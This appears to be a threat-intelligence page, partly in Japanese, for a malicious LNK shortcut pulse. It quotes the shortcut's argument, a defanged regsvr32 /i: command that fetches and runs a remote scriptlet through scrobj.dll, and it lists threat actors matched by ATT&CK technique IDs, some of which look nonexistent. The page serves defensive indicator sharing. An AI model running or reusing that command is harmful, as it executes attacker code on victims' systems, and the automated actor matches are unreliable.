Trusted Design

Malware: Lnk Malicious

概要

VirusTotal Report: https://virustotalcloud.appspot.com/nui/index.html#/url/554aa4441e97d12dc0669b9ec61459ea16640923c897633ea9c864b2187dcae1/detection Argument: C:\Windows\System32\regsvr32.exe /u /s /i:hxxps:// tinyurl . com/ yd49yrlk scrobj.dll

Created: 2026-02-23

Indicators

Indicatorsは見つかっていない。

類似Pulses

このPulseに関連する脅威アクター (事実ベース)

Gamaredon Group

Score: 5.78
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1608 - Stage Capabilities
MITREへのリンク →

APT19

Score: 4.68
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1027.014 - Polymorphic Code
MITREへのリンク →

Kimsuky

Score: 8.53
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1608 - Stage Capabilities
  • T1027.014 - Polymorphic Code
MITREへのリンク →

TA551

Score: 4.68
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1027.014 - Polymorphic Code
MITREへのリンク →

Blue Mockingbird

Score: 4.68
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1027.014 - Polymorphic Code
MITREへのリンク →

Wizard Spider

Score: 5.78
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1003.001 - LSASS Memory
MITREへのリンク →

APT32

Score: 7.97
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1027.014 - Polymorphic Code
  • T1174 - Password Filter DLL
MITREへのリンク →

Lazarus Group

Score: 12.97
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1174 - Password Filter DLL
  • T1055.005 - Thread Local Storage
  • T1216 - System Script Proxy Execution
MITREへのリンク →

TA505

Score: 5.22
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1685.002 - Disable or Modify Cloud Log
MITREへのリンク →

APT28

Score: 4.86
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1021.001 - Remote Desktop Protocol
MITREへのリンク →

HAFNIUM

Score: 4.86
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1021.001 - Remote Desktop Protocol
MITREへのリンク →

APT38

Score: 12.13
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1685.002 - Disable or Modify Cloud Log
  • T1174 - Password Filter DLL
  • T1216 - System Script Proxy Execution
MITREへのリンク →

Daggerfly

Score: 5.22
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1174 - Password Filter DLL
MITREへのリンク →

Storm-0501

Score: 7.61
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1027.014 - Polymorphic Code
  • T1021.001 - Remote Desktop Protocol
MITREへのリンク →

MuddyWater

Score: 6.07
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1518.002 - Backup Software Discovery
MITREへのリンク →

Molerats

Score: 3.29
Matched TTPs:
  • T1685.002 - Disable or Modify Cloud Log
MITREへのリンク →

Rancor

Score: 3.29
Matched TTPs:
  • T1685.002 - Disable or Modify Cloud Log
MITREへのリンク →

ZIRCONIUM

Score: 3.29
Matched TTPs:
  • T1685.002 - Disable or Modify Cloud Log
MITREへのリンク →

Machete

Score: 3.29
Matched TTPs:
  • T1685.002 - Disable or Modify Cloud Log
MITREへのリンク →

Cobalt Group

Score: 6.88
Matched TTPs:
  • T1518.002 - Backup Software Discovery
  • T1027.014 - Polymorphic Code
MITREへのリンク →

Tropic Trooper

Score: 3.84
Matched TTPs:
  • T1003.001 - LSASS Memory
MITREへのリンク →

Turla

Score: 3.84
Matched TTPs:
  • T1003.001 - LSASS Memory
MITREへのリンク →

Mustang Panda

Score: 7.98
Matched TTPs:
  • T1608 - Stage Capabilities
  • T1055.005 - Thread Local Storage
MITREへのリンク →

menuPass

Score: 3.29
Matched TTPs:
  • T1174 - Password Filter DLL
MITREへのリンク →

GALLIUM

Score: 3.29
Matched TTPs:
  • T1174 - Password Filter DLL
MITREへのリンク →

APT29

Score: 12.00
Matched TTPs:
  • T1218.009 - Regsvcs/Regasm
  • T1223 - Compiled HTML File
  • T1021.001 - Remote Desktop Protocol
MITREへのリンク →

APT39

Score: 4.54
Matched TTPs:
  • T1564.007 - VBA Stomping
MITREへのリンク →

APT37

Score: 3.62
Matched TTPs:
  • T1216 - System Script Proxy Execution
MITREへのリンク →

Medusa Group

Score: 8.16
Matched TTPs:
  • T1216 - System Script Proxy Execution
  • T1094 - Custom Command and Control Protocol
MITREへのリンク →

このPulseに関連する脅威アクター (推論ベース)

Lazarus Group

Score: 0.78
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1055.005 - Thread Local Storage
  • T1216 - System Script Proxy Execution
  • T1174 - Password Filter DLL
MITREへのリンク →

APT29

Score: 0.73
Matched TTPs:
  • T1021.001 - Remote Desktop Protocol
  • T1218.009 - Regsvcs/Regasm
  • T1223 - Compiled HTML File
MITREへのリンク →

APT38

Score: 0.72
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1216 - System Script Proxy Execution
  • T1174 - Password Filter DLL
  • T1685.002 - Disable or Modify Cloud Log
MITREへのリンク →

APT32

Score: 0.55
Matched TTPs:
  • T1583 - Acquire Infrastructure
  • T1027.014 - Polymorphic Code
  • T1174 - Password Filter DLL
MITREへのリンク →

Related CVEs

このPulseに見つかったCVEはありません。

Pulse – 脅威アクター グラフ

← Pulse一覧に戻る